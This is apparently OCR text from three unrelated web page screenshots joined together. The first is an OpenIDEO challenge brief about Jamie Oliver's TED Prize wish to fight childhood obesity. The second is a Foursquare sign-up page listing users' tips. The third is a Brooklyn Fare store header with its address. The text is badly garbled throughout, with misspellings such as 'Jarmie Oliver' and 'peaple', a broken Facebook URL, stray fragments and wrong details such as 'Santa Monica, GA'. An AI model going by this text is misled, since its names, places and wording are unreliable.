brief of this challenge: Jarmie Oliver won the TED Prize wish last year. His wish was to create a Food Revolution In
America, o change the way kids eat by teaching them how 10 cook and what fresh food can do for them. This is all n the
effortto help fightto obesity, one of the |argest health issues In the United States. OpeniDEO s all about getting & broader
‘group of peaple to solve some of the world's most dificult challenges, and this seemed ke a great one 10 Kick off with

N wiTH EEIEE

How does OpenlDEO work? 7
Join up or Login

WATCH OUR VIDEO TO
LEARN HOW IT WORKS

- &

G

3
INSPIRATIONS

506

CONCEPTS

7,636

USERS.
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UNLOCK YOUR

Foursquare on your phone gives you & your
your clty. Earn points & uniock badges for discoy

Already a member? Login

Find places, people, ta\

RECENT ACTIVITY GET IT Now
Neddy P. in Khiong Tan Nuea, Bangkok:
wrote atip @ ACDC ( Aviation Career Development Centre |P one

): hittp:/ivww.facebook.com/ACDCentre?ref=ts

Nano B. in Tangerang, Bantam:
wrote atip @ Sektor Faya: @home: Jin Sektor Vil ciledug

Alper B. in Boston, MA:
wrote a tip @ Espresso 77: Nice warm place to meet new
people and have tea...It was my fixed destination during my
15 days long stay in Queens.

Andi G. in Santa Monica, GA:
became the mayor of The Loft at RENA HQ.

*BlackBerry.

an>301D
palm

ovi

ATUED REVICES

v

v
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Brooklyn Fare

TheMarket ~ TheKitchen TheCafé Catering Rewards  Specials  AboutUs

Brooklyn Fare
200 Schermerhorn St.
Broollyn, NY 11201
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